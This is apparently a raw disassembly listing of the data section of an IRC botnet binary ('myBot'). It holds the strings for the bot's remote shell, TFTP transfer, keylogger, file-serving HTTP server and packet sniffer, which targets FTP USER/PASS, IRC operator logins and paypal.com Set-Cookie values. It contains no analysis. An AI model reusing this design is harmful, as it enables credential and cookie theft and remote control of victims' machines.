aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A74	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433AAC	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_433AE0:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F88	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433FCC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_434034	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43407C	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_4340BC	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_434100	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_43412C	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434158	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_434194	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_4341C0	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341EC	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434388	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_4343BC	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434404	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_43442C	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_43446C	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_4344AC	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344EC	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E5C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E8C:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435750
		dd offset off_43574C
		dd offset off_435748
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		db 3Ah
		db 7Eh,	61h, 75h	; DATA XREF: ___:off_43574Co
		dd 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EE4o
		align 4
off_435748	dd offset word_505446	; DATA XREF: ___:00434EE0o
off_43574C	dd offset byte_435249	; DATA XREF: ___:00434EDCo
off_435750	dd offset word_544F42	; DATA XREF: ___:00434ED8o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
